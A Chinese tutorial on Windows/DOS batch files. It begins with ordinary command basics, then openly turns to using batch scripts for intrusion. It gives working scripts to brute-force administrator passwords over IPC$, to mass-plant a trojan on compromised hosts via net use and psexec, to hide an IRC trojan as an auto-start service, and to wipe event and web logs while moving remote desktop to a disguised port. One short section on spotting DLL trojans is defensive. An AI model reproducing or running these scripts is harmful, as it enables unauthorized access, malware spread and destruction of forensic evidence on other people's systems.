使用批处理文件

Modelsim do文件和批处理文件的使用 阅读详情

使用批处理文件

                         ——批处理文件的意义  

  后缀是bat的文件就是批处理文件,是一种文本文件。简单的说,它的作用就是自动的连续执行多条命令,批处理文件的内容就是一条一条的命令。那它有什么用呢?

  比如,在启动wps软件时,每次都必须执行

  C:/>cd wps
  C:/WPS>spdos
  C:/WPS>py
  C:/WPS>wbx
  C:/WPS>wps

  如果每次用WPS之前都这样执行一次,您是不是觉得很麻烦呢?

  如果有一个方法,只需编写一个批处理文件,就会自动执行刚才的所有命令,您想不想学呢?

  当您看完此节,自己编写的第一个批处理文件顺利执行时,您一定会大吃一惊的。

  此外电脑每次启动时都会寻找autoexec.bat这条批处理文件,从而可执行一些每次开机都要执行的命令,如设置路径path、加载鼠标驱动mouse、磁盘加速smartdrv等,可以使您的电脑真正自动化。
 echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。 echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@ 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。
call 调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完那条文件后将无法执行当前文件后续命令)
pause 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续 
rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的 


  例:用edit编辑a.bat文件,输入下列内容后存盘为c:/a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。

  批处理文件的内容为:         文件表示:

    echo off            不显示命令行

    dir c:/*.* >a.txt       将c盘文件列表写入a.txt

    call c:/ucdos/ucdos.bat    调用ucdos

    echo 你好            显示"你好"

    pause              暂停,等待按键继续

    rem 使用wps           注释将使用wps

    cd ucdos            进入ucdos目录

    wps               使用wps  

  批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。

   %表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。

  例如,C:根目录下一批处理文件名为f.bat,内容为 format %1

  则如果执行C:/>f a:    则实际执行的是format a:

  又如C:根目录下一批处理文件的名为t.bat,内容为 type %1 type %2

  那么运行C:/>t a.txt b.txt 将顺序地显示a.txt和b.txt文件的内容

if goto choice for 是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

  if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串"  待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:

2、if exist 文件名  待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys edit config.sys

3、if errorlevel 数字  待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2  DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码
 
goto 批处理文件运行到这里将跳到goto 所指定的标号处, 一般与if配合使用。 如:

goto end

:end
echo this is the end

标号用 :字符串 表示,标号所在行不被执行
 
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……

如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?

例如,test.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag 应先判断数值最高的错误码
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:/dos/defrag
goto end

:mem
mem
goto end

:end
echo good bye

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
 
for 循环命令,只要条件符合,它将多次执行同一命令。

格式FOR [%%f] in (集合) DO [命令]
只要参数f在指定的集合内,则条件成立,执行命令

如果一条批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
含义是如果是以bat或txt结尾的文件,则显示文件的内容。
 

 DOS在启动会自动运行autoexec.bat这条文件,一般我们在里面装载每次必用的程序,如: path(设置路径)、smartdrv(磁盘加速)、 mouse(鼠标启动)、mscdex(光驱连接)、 doskey(键盘管理)、set(设置环境变量)等。

  如果启动盘根目录中没有这个文件,电脑会让用户输入日期和时间。

  例如,一个典型的autoexec.bat内容如下:

@echo off                     不显示命令行

prompt $p$g                    设置提示符前有目录提示

path c:/dos;c:/;c:/windows;c:/ucdos;c:/tools    设置路径

lh c:/dos/doskey.com                加载键盘管理

lh c:/mouse/mouse.com               加载鼠标管理

lh c:/dos/smartdrv.exe               加载磁盘加速管理

lh c:/dos/mscdex /S /D:MSCD000 /M:12 /V      加载CD-ROM驱动

set temp=c:/temp                  设置临时目录

----------------------------------------------------------------------------------
批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

  一.简单批处理内部命令简介

  1.Echo 命令

  打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。

  语法

  echo [{on off}] [message]

  Sample:@echo off / echo hello world

  在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

  2.@ 命令

  表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。

  Sample:@echo off

  @echo Now initializing the program,please wait a minite...

  @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

  3.Goto 命令

  指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。

  语法:goto label (label是参数,指定所要转向的批处理程序中的行。)

  Sample:

  if {%1}=={} goto noparms

  if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)

  @Rem check parameters if null show usage

  :noparms

  echo Usage: monitor.bat ServerIP PortNumber

  goto end

  标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

  4.Rem 命令

  注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。

  Rem Message

  Sample:@Rem Here is the description.

  5.Pause 命令

  运行 Pause 命令时,将显示下面的消息:

  Press any key to continue . . .

  Sample:

  @echo off

  :begin

  copy a:*.* d:/back

  echo Please put a new disk into driver A

  pause

  goto begin

  在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:/back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

6.Call 命令

  从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。

  语法

  call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

  参数

  [Drive:}[Path] FileName

  指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

  7.start 命令

  调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。

  入侵常用参数:

  MIN 开始时窗口最小化

  SEPARATE 在分开的空间内开始 16 位 Windows 程序

  HIGH 在 HIGH 优先级类别开始应用程序

  REALTIME 在 REALTIME 优先级类别开始应用程序

  WAIT 启动应用程序并等候它结束

  parameters 这些为传送到命令/程序的参数

  执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。

  8.choice 命令

  choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……

  如: choice /c:dme defrag,mem,end

  将显示

  defrag,mem,end[D,M,E]?

  Sample:

  Sample.bat的内容如下:

  @echo off

  choice /c:dme defrag,mem,end

  if errorlevel 3 goto defrag (应先判断数值最高的错误码)

  if errorlevel 2 goto mem

  if errotlevel 1 goto end

  :defrag

  c:/dos/defrag

  goto end

  :mem

  mem

  goto end

  :end

  echo good bye

  此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

  9.If 命令

  if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

  1、if "参数" == "字符串"  待执行的命令

  参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)

  如if "%1"=="a" format a:

  if {%1}=={} goto noparms

  if {%2}=={} goto noparms

  2、if exist 文件名  待执行的命令

  如果有指定的文件,则条件成立,运行命令,否则运行下一句。

  如if exist config.sys edit config.sys

  3、if errorlevel / if not errorlevel 数字  待执行的命令

  如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。

  如if errorlevel 2 goto x2  

  DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令

  for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。

  在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

  for {%variable %%variable} in (set) do command [ CommandLineOptions]

  %variable 指定一个单一字母可替换的参数。

  (set) 指定一个或一组文件。可以使用通配符。

  command 指定对每个文件执行的命令。

  command-parameters 为特定命令指定参数或命令行开关。

  在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

  而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

  如果命令扩展名被启用,下列额外的 FOR 命令格式会受到

  支持:

  FOR /D %variable IN (set) DO command [command-parameters]

  如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。

  FOR /R [[drive:]path] %variable IN (set) DO command [command-

  检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。

  FOR /L %variable IN (start,step,end) DO command [command-para

  该集表示以增量形式从开始到结束的一个数字序列。

  因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生

  序列 (5 4 3 2 1)。

  FOR /F ["options"] %variable IN (file-set) DO command

  FOR /F ["options"] %variable IN ("string") DO command

  FOR /F ["options"] %variable IN (command) DO command

  或者,如果有 usebackq 选项:

  FOR /F ["options"] %variable IN (file-set) DO command

  FOR /F ["options"] %variable IN ("string") DO command

  FOR /F ["options"] %variable IN (command) DO command

  filenameset 为一个或多个文件名。继续到 filenameset 中的

  下一个文件之前,每份文件都已被打开、读取并经过处理。

  处理包括读取文件,将其分成一行行的文字,然后将每行

  解析成零或更多的符号。然后用已找到的符号字符串变量值

  调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开

  的第一个空白符号。跳过空白行。您可通过指定可选 "options"

  参数替代默认解析操作。这个带引号的字符串包括一个或多个

  指定不同解析选项的关键字。这些关键字为:

  eol=c - 指一个行注释字符的结尾(就一个)

  skip=n - 指在文件开始时忽略的行数。

  delims=xxx - 指分隔符集。这个替换了空格和跳格键的

  默认分隔符集。

  tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代

  的 for 本身。这会导致额外变量名称的

  格式为一个范围。通过 nth 符号指定 m

  符号字符串中的最后一个字符星号,

  那么额外的变量将在最后一个符号解析之

  分配并接受行的保留文本。

  usebackq - 指定新语法已在下类情况中使用:

  在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。

sample1:

  FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

  会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。

  %i 专门在 for 语句中得到说明,%j 和 %k 是通过

  tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 z 或Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的同时不能有 52 个以上都在使用中。

  您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。

  最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:

  FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

  会枚举当前环境中的环境变量名称。

  另外,FOR 变量参照的替换已被增强。您现在可以使用下列

  选项语法:

  ~I - 删除任何引号("),扩充 %I

  %~fI - 将 %I 扩充到一个完全合格的路径名

  %~dI - 仅将 %I 扩充到一个驱动器号

  %~pI - 仅将 %I 扩充到一个路径

  %~nI - 仅将 %I 扩充到一个文件名

  %~xI - 仅将 %I 扩充到一个文件扩展名

  %~sI - 扩充的路径只含有短名

  %~aI - 将 %I 扩充到文件的文件属性

  %~tI - 将 %I 扩充到文件的日期/时间

  %~zI - 将 %I 扩充到文件的大小

  %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串

  可以组合修饰符来得到多重结果:

  %~dpI - 仅将 %I 扩充到一个驱动器号和路径

  %~nxI - 仅将 %I 扩充到一个文件名和扩展名

  %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名

  %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。

  %~ftzaI - 将 %I 扩充到类似输出线路的 DIR

  在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法

  用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。

  以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

  sample2:

  利用For命令来实现对一台目标Win2k主机的暴力密码破解。

  我们用net use //ip/ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。

  最主要的命令是一条:for /f i% in (dict.txt) do net use //ip/ipc$ "i%" /u:"administrator"

  用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--

  for /f i%% in (dict.txt) do net use //ip/ipc$ "i%%" /u:"administrator" find ":命令成功完成">>D:/ok.txt ,这样就ko了。

  sample3:

  你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

  主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)

  @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

  tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。

  而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。

  delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。

  代码雏形:

  --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

  @echo off

  @if "%1"=="" goto usage

  @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

  @goto end

  :usage

  @echo run this batch in dos modle.or just double-click it.

  :end

  --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

  ------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------

  @net use //%1/ipc$ %3 /u:"%2"

  @if errorlevel 1 goto failed

  @echo Trying to establish the IPC$ connection …………OK

  @copy windrv32.exe//%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

  @psexec //%1 c:/winnt/system32/windrv32.exe

  @psexec //%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

  :failed

  @echo Sorry can not connected to the victim.

  ----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------

  这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容

  尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数

  批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。

  sample1:fomat.bat

  @echo off

  if "%1"=="a" format a:

  :format

  @format a:/q/u/auotset

  @echo please insert another disk to driver A.

  @pause

  @goto fomat

  这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^

  sample2:

  当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。

  @echo off

  @net use //1%/ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。

  @if errorlevel 1 echo connection failed

  怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3

  三.如何使用组合命令(Compound Command)

  1.&

  Usage:第一条命令 & 第二条命令 [& 第三条命令...]

  用这种方法可以同时执行多条命令,而不管命令是否执行成功

  Sample:

  C:/>dir z: & dir c:/Ex4rch

  The system cannot find the path specified.

  Volume in drive C has no label.

  Volume Serial Number is 0078-59FB

  Directory of c:/Ex4rch

  2002-05-14 23:51
.

  2002-05-14 23:51
..

  2002-05-14 23:51 14 sometips.gif
3.  

  Usage:第一条命令    第二条命令 [   第三条命令...]

  用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

  Sample:

  C:/Ex4rch>dir sometips.gif    del sometips.gif

  Volume in drive C has no label.

  Volume Serial Number is 0078-59FB

  Directory of C:/Ex4rch

  2002-05-14 23:55 14 sometips.gif

  1 File(s) 14 bytes

  0 Dir(s) 768,696,320 bytes free

  组合命令使用的例子:

  sample:

  @copy trojan.exe //%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
四、管道命令的使用

  1.  命令

  Usage:第一条命令   第二条命令 [  第三条命令...]

  将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

  sample:

  time /t>>D:/IP.log

  netstat -n -p tcp find ":3389">>D:/IP.log

  start Explorer

  看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。

  2.>、>>输出重定向命令

  将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。

  sample1:

  echo hello world>c:/hello.txt (stupid example?)

  sample2:

  时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:

  运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

  这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,

  日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.

  这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:

  CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。
3.< 、>& 、<&

  < 从文件中而不是从键盘中读入命令输入。

  >& 将一个句柄的输出写入到另一个句柄的输入中。

  <& 从一个句柄读取输入并将其写入到另一个句柄输出中。

  这些并不常用,也就不多做介绍。

  No.5

  五.如何用批处理文件来操作注册表

  在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)

  关于注册表的操作,常见的是创建、修改、删除。

  1.创建

  创建分为两种,一种是创建子项(Subkey)

  我们创建一个文件,内容如下:

  Windows Registry Editor Version 5.00

  [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/hacker]

  然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft下创建了一个名字为“hacker”的子项。

  另一种是创建一个项目名称

  那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

  Windows Registry Editor Version 5.00

  [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]"Invader"="Ex4rch"

  "Door"=C://WINNT//system32//door.exe

  "Autodos"=dword:02

  这样就在[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]下

  新建了:Invader、door、about这三个项目

  Invader的类型是“String Value”

  door的类型是“REG SZ Value”

  Autodos的类型是“DWORD Value”
2.修改

  修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

  3.删除

  我们首先来说说删除一个项目名称,我们创建一个如下的文件:

  Windows Registry Editor Version 5.00

  [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

  "Ex4rch"=-

  执行该脚本,[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]下的"Ex4rch"就被删除了;

  我们再看看删除一个子项,我们创建一个如下的脚本:

  Windows Registry Editor Version 5.00

  [-HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

  执行该脚本,[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]就已经被删除了。

  相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

samlpe1:如上面的那个例子,如想生成如下注册表文件

  Windows Registry Editor Version 5.00

  [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

  "Invader"="Ex4rch"

  "door"=hex:255

  "Autodos"=dword:000000128

  只需要这样:

  @echo Windows Registry Editor Version 5.00>>Sample.reg

  @echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>Sample.reg

  @echo "Invader"="Ex4rch">>Sample.reg

  @echo "door"=5>>C://WINNT//system32//door.exe>>Sample.reg

  @echo "Autodos"=dword:02>>Sample.reg

  samlpe2:

  我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)

  @start windrv32.exe

  @attrib +h +r windrv32.exe

  @echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run] >>patch.dll

  @echo "windsnx "=- >>patch.dll

  @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:/winnt/system32/windrv32.exe

  @regedit /s patch.dll

  @delete patch.dll

  @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]

  @REM 这样不是更安全^_^.
六.精彩实例放送。

  1.删除win2k/xp系统默认共享的批处理

  ------------------------ cut here then save as .bat or .cmd file ---------------------------

  @echo preparing to delete all the default shares.when ready pres any key.

  @pause

  @echo off

  :Rem check parameters if null show usage.

  if {%1}=={} goto :Usage

  :Rem code start.

  echo.

  echo ------------------------------------------------------

  echo.

  echo Now deleting all the default shares.

  echo.

  net share %1$ /delete

  net share %2$ /delete

  net share %3$ /delete

  net share %4$ /delete

  net share %5$ /delete

  net share %6$ /delete

  net share %7$ /delete

  net share %8$ /delete

  net share %9$ /delete

  net stop Server

  net start Server

  echo.

  echo All the shares have been deleteed

  echo.

  echo ------------------------------------------------------

  echo.

  echo Now modify the registry to change the system default properties.

  echo.

  echo Now creating the registry file

  echo Windows Registry Editor Version 5.00> c:/delshare.reg

  echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters]>> c:/delshare.reg

  echo "AutoShareWks"=dword:00000000>> c:/delshare.reg

  echo "AutoShareServer"=dword:00000000>> c:/delshare.reg

  echo Nowing using the registry file to chang the system default properties.

  regedit /s c:/delshare.reg

  echo Deleting the temprotarily files.

  del c:/delshare.reg

  goto :END
:Usage

  echo.

  echo ------------------------------------------------------

  echo.

  echo ☆ A example for batch file ☆

  echo ☆ [Use batch file to change the sysytem share properties.] ☆

  echo.

  echo Author:Ex4rch

  echo Mail:Ex4rch@hotmail.com QQ:1672602

  echo.

  echo Error:Not enough parameters

  echo.

  echo ☆ Please enter the share disk you wanna delete ☆

  echo.

  echo For instance,to delete the default shares:

  echo delshare c d e ipc admin print

  echo.

  echo If the disklable is not as C: D: E: ,Please chang it youself.

  echo.

  echo example:

  echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :

  echo delshare c d e x y z ipc admin print

  echo.

  echo *** you can delete nine shares once in a useing ***

  echo.

  echo ------------------------------------------------------

  goto :EOF

  :END

  echo.

  echo ------------------------------------------------------

  echo.

  echo OK,delshare.bat has deleted all the share you assigned.

  echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.

  echo

  echo.

  echo ------------------------------------------------------

  echo.

  :EOF

  echo end of the batch file

  ------------------------ cut here then save as .bat or .cmd file ---------------------------
  ------------------------ cut here then save as .bat or .cmd file ---------------------------

  下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。

  @regedit /s patch.dll

  @net stop w3svc

  @net stop event log

  @del c:/winnt/system32/logfiles/w3svc1/*.* /f /q

  @del c:/winnt/system32/logfiles/w3svc2/*.* /f /q

  @del c:/winnt/system32/config/*.event /f /q

  @del c:/winnt/system32dtclog/*.* /f /q

  @del c:/winnt/*.txt /f /q

  @del c:/winnt/*.log /f /q

  @net start w3svc

  @net start event log

  @rem [删除日志]

  @net stop lanmanserver /y

  @net stop Schedule /y

  @net stop RemoteRegistry /y

  @del patch.dll

  @echo The server has been patched,Have fun.

  @del patch.bat

  @REM [禁止一些危险的服务。]

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>patch.dll

  @echo "PortNumber"=dword:00002010 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp >>patch.dll

  @echo "PortNumber"=dword:00002012 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>patch.dll

  @echo "Start"=dword:00000002 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecuService] >>patch.dll

  @echo "Start"=dword:00000002 >>patch.dll

  @echo "ErrorControl"=dword:00000001 >>patch.dll

  @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,/ >>patch.dll

  @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,/ >>patch.dll

  @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll

  @echo "ObjectName"="LocalSystem" >>patch.dll

  @echo "Type"=dword:00000010 >>patch.dll

  @echo "Description"="Keep record of the program and windows message。" >>patch.dll

  @echo "DisplayName"="Microsoft EventLog" >>patch.dll

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/termservice] >>patch.dll

  @echo "Start"=dword:00000004 >>patch.dll

  @copy c:/winnt/system32/termsrv.exe c:/winnt/system32/eventlog.exe

  @REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]

3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)

